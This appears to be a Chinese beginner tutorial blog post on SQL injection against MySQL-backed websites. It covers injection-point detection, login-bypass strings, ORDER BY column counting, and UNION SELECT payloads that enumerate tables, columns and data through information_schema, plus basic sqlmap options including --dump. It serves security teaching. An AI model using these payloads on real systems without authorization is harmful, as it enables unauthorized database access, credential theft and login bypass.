Web安全之SQL注入基础

1、SQL注入介绍

SQL是什么:

结构化查询语言(Structured Query Language)简称SQL,是一种数据库查询和程序设计语言,同时也是数据库脚本文件的扩展名。

SQL注入是什么:

通过在⽤户可控的参数中注⼊SQL语法,破坏原有SQL结构,修改原有SQL功能,达到出现意料之外结果的攻击⾏为。

SQL注入条件:

用户可以控制输入数据,网站拼接用户输入并在数据库执行该语句。(找动态页面)

SQL注入本质:

把用户输入的数据当作代码执行。

2、数据库知识基础

以Mysql数据库为例

2.1 基础知识

  • 显示数据库列表  show databases;
  • 进入对应的数据库 use “指定数据库名”;
  • 查看所进入数据库的所有表 show tables;
  • 显示数据库版本 select version();

  • 查看当前正在使用的数据库 select database();

  • 查看使用当前数据库的用户 select user();

  • 查看数据库路径 select @@datadir;
  • 查看安装路径 select @@basedir;
  • 查看数据库安装的操作系统 select @@version_compile_os;

2.2  MySQL自带库

1)information_schema

information_schema ,是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。MySQL5.0以下没有information_schema这个默认数据库。

  • SCHEMATA表:提供了当前MySQL实例中所有数据库的信息,是show databases的结果取之此表。
  • TABLES表:提供了关于数据库中的表的信息(包括视图)。
  • COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。

columns表主要字段如下:

tables表主要字段如下:

2.3 数据库特性

注释: -- (--空),#,-- awd (空格经常被忽略,所以在后面加上awd告诉数据库不要忽略我们的空格)

3、SQL注入流程

3.1 判断注入点

首先数据库查询语句是:

select * from 表 where id = n 数字型

select * from 表 where name = 'a' 字符型

select * from 表 where name ='a' and password = 'c' 登陆型

以数字型为例:

and 1=1

and 1=2

可以看出页面出现变化,证明我们的输入带入了数据库查询。其他探测方式汇总如下:

(1)字符型


'       False    ''      True
"       False    ""      True
\       False    \\      True

(2)数字型:


AND 1=1  True  AND 1=0  False
and 1=1 and 1=2 
进化
加减乘除   id = 4/2   (+是URL编码中的空格,要改成%2b)
sleep(10)

(3)登陆型


' OR '1
' OR 1 -- wd
" OR "" = "
" OR 1 = 1 -- awd
'='
'LIKE'

3.2 猜测字段数

order by n 进行尝试,

3.3 查询输出点

Union (联合查询,将两条数据库查询语句一起执行,注意两条语句结果的字段数和类型要相同)

Select 1,2,3  属性探究:

使用union select 1,2,3,4,5,6,7,8,9查询输出点,为了确保输出的数据是我们select后的,通常让前面为假,然后输出那个那个就是:

这里换个掌控安全的靶场,因为9个太多了,换成一个order by 3的演示以下:

and 1=2 union select 1010,2010,3010

我们看到输出了2010,3010,说明第2个位和第三个位为输出点,然后验证一下输出点的真假

and 1=2 union select 1, user(), user() -- awd   (这里的user()函数就是2.1中介绍的,可以换成2.1中其他的)

两个输出位都可以输出信息

注意:有隐藏输出点,且并不是所有输出点都是完美的

3.4 总结

1)判断注入点和注入点类型

2)order by n 猜解字段数

3)and 1=2 union select 1,2,3,...,n -- awd 找出输出点

4)用数据库自带库查询数据

根据  库>表>字段>数据依次查询

4.1)查表名
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1

4.2)查列名(字段名)
and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘表名’ and table_schema=database() limit 0,1

4.3)查字段内容

and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1

4.4)limit补充说明

limit 0,1  分页

limit 1,1  从第二行取第一条数据

limit 3,2  从第四行取第二条数据

还可以使用group_contact()函数替代

and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘表名’

4、工具使用

跑SQL注入的神器就是SQLmap

常用最基础指令:

  • -u指定注入点
  • --dbs跑库名
  • --tables跑表名
  • --columns跑字段名
  • --dump枚举数据(最好是授权,最好禁用)
  • -D指定库
  • -T指定表
  • -C指定字段

具体使用参考:https://blog.csdn.net/xlsj228/article/details/106059360

安全学习交流群:687398569

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值